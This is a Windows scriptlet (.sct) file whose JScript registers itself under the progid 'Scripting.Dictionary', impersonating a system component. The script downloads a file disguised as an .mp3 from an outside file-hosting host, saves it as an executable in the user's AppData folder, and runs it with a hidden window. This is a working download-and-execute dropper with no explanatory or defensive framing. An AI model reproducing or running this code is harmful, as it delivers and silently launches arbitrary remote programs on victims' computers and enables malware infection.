Scriptlet.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Scripting.Dictionary"
    progid="Scripting.Dictionary"
    version="1"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
	>
</registration>
<!-- scriptlet:http://server/scriptlet_Downloader.sct -->
<script language="JScript">
<![CDATA[
		var J = ["WScript.Shell","MSXML2.XMLHTTP","ADODB.Stream","Scripting.FileSystemObject","https://e.top4top.io/m_1569ar7j21.mp3","VB6TestMsgBox.exe"];
var SH = Cr(0);
Target= Ex("APPDATA") + "\\" + J[5];
// Create an Empty Target File
var File = Cr(3);
if (File.FileExists(Target)){
	File.DeleteFile(Target);
}
saveFile(J[4],Target);
SH.Run(Target, 0, false);
//self.close();
function Cr(N) {
	return new ActiveXObject(J[N]);
}
function Ex(S) {
    return SH.ExpandEnvironmentStrings("%" + S + "%");
}
function saveFile(sSourceUrl, sDestFile ) {
    var objXMLHTTP = Cr(1);
    objXMLHTTP.onreadystatechange=function() {
        if (objXMLHTTP.readyState === 4) {
			// Create the Data Stream
            var objADOStream = Cr(2);
			// Establish the Stream
            objADOStream.open();
            objADOStream.type = 1; // adTypeBinary
            objADOStream.write(objXMLHTTP.ResponseBody);
            objADOStream.position = 0;
			// Write the Data Stream to the File
            objADOStream.saveToFile(sDestFile, 2);// adSaveCreateOverWrite
            objADOStream.close();
        }
    };
    objXMLHTTP.open("GET", sSourceUrl, false);
    objXMLHTTP.send();
}
]]>
</script>

</scriptlet>